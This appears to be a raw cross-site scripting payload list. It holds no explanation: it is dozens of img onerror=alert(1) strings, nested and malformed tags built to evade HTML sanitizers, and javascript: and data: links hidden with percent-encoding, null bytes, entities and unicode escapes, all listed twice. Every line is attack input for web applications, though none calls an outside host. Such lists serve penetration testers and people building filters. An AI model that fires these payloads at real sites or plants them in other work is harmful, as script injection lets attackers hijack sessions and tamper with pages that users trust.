x'"><img src="x<iframe>"onerror=alert(1)"> <img src='x<iframe>'onerror=alert(1)'> <img src='x'<iframe>onerror=alert(1)'> <img src='x'<iframe>onerror='1'> <img src=x" onerror=alert(1)>  <img src='<"">' onerror=alert(document.domain)> xx<img src=<img src='<img src="x" onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>onerror=alert(1) <img src='<img src=<img src="x"' onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>onerror=alert(1) <img src='<img src=<img src=x' onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>onerror=alert(1) <img src='<img src="<img src=x' onerror=alert(1)>' onerror=alert(1)>" onerror=alert(1)>onerror=alert(1) <img src='<img src=<img src=x' onerror=alert(1)>'" onerror=alert(1)>" onerror=alert(1)>onerror=alert(1)   <img src=x onerror=alert(1)> <img src=x<script>onerror=alert(1)> <img src=x<script>onerror=alert(1)> <img src="<img src='<img src=x onerror=alert(1)>' onerror=alert(1)>" onerror=alert(1)> <img src=<img src='<img src="x" onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)> <img src=<img src=<img src=x onerror=alert(1)> onerror=alert(1)> onerror=alert(1)> <img src=<img src='<img src=x onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)> <img<script> src=<img<script> src='<img<script> src=x onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>    x<img<img src="x"<iframe>onerror=alert(1)>  <a href=javascript://http://www.example.com%0aalert(1)>test</a> <a href=java%00script://http://www.example.com%0aalert(1)>test</a> <a href=data&colon;,//http://www.example.com%0aalert(1)>test</a> <a href=javascript&colon;alert(1)>test</a> <a href=javascript%26colon;alert(1)>test</a> <a href=javascript%3aalert(1)>test</a> <a href=javascript%253aalert(1)>test</a> <a href=javascript\\u003aalert(1)>test</a> <a href=javascript&#3a;alert(1)>test</a> <a href=javascript&colon;alert(1)>test</a> <a href=javascript%26colon;alert(1)>test</a> javascript%3aalert(1) javascript%253a//alert(1) javascript\\u003a//alert(1)//example.com javascript&#3a;//alert(1)//http://www.exqmple.com <img src=x onerror=alert(1)> <img src=x<script>onerror=alert(1)></script>>XYZ <img onerror src=x<script>onerror=alert(1)></script>>"onerror=alert(document.domain)//  %3dimg src='x'onerror=alert(1)'>  <img/onerror=alert(1)/src= x<img  src=x  onerror=alert(1)> <img src=x onerror=alert(1)'>

x'"><img src="x<iframe>"onerror=alert(1)">
<img src='x<iframe>'onerror=alert(1)'>
<img src='x'<iframe>onerror=alert(1)'>
<img src='x'<iframe>onerror='1'>
<img src=x"
onerror=alert(1)>

<img src='<"">' onerror=alert(document.domain)>
xx<img src=<img src='<img src="x" onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>onerror=alert(1)
<img src='<img src=<img src="x"' onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>onerror=alert(1)
<img src='<img src=<img src=x' onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>onerror=alert(1)
<img src='<img src="<img src=x' onerror=alert(1)>' onerror=alert(1)>" onerror=alert(1)>onerror=alert(1)
<img src='<img src=<img src=x' onerror=alert(1)>'" onerror=alert(1)>" onerror=alert(1)>onerror=alert(1)


<img src=x onerror=alert(1)>
<img src=x<script>onerror=alert(1)>
<img src=x<script>onerror=alert(1)>
<img src="<img src='<img src=x onerror=alert(1)>' onerror=alert(1)>" onerror=alert(1)>
<img src=<img src='<img src="x" onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>
<img src=<img src=<img src=x onerror=alert(1)> onerror=alert(1)> onerror=alert(1)>
<img src=<img src='<img src=x onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>
<img<script> src=<img<script> src='<img<script> src=x onerror=alert(1)>' onerror=alert(1)> onerror=alert(1)>



x<img<img src="x"<iframe>onerror=alert(1)>

<a href=javascript://http://www.example.com%0aalert(1)>test</a>
<a href=java%00script://http://www.example.com%0aalert(1)>test</a>
<a href=data&colon;,//http://www.example.com%0aalert(1)>test</a>
<a href=javascript&colon;alert(1)>test</a>
<a href=javascript%26colon;alert(1)>test</a>
<a href=javascript%3aalert(1)>test</a>
<a href=javascript%253aalert(1)>test</a>
<a href=javascript\\u003aalert(1)>test</a>
<a href=javascript&#3a;alert(1)>test</a>
<a href=javascript&colon;alert(1)>test</a>
<a href=javascript%26colon;alert(1)>test</a>
javascript%3aalert(1)
javascript%253a//alert(1)
javascript\\u003a//alert(1)//example.com
javascript&#3a;//alert(1)//http://www.exqmple.com
<img src=x onerror=alert(1)>
<img src=x<script>onerror=alert(1)></script>>XYZ
<img onerror src=x<script>onerror=alert(1)></script>>"onerror=alert(document.domain)//

%3dimg src='x'onerror=alert(1)'>

<img/onerror=alert(1)/src=
x<img 
src=x 
onerror=alert(1)>
<img src=x onerror=alert(1)'>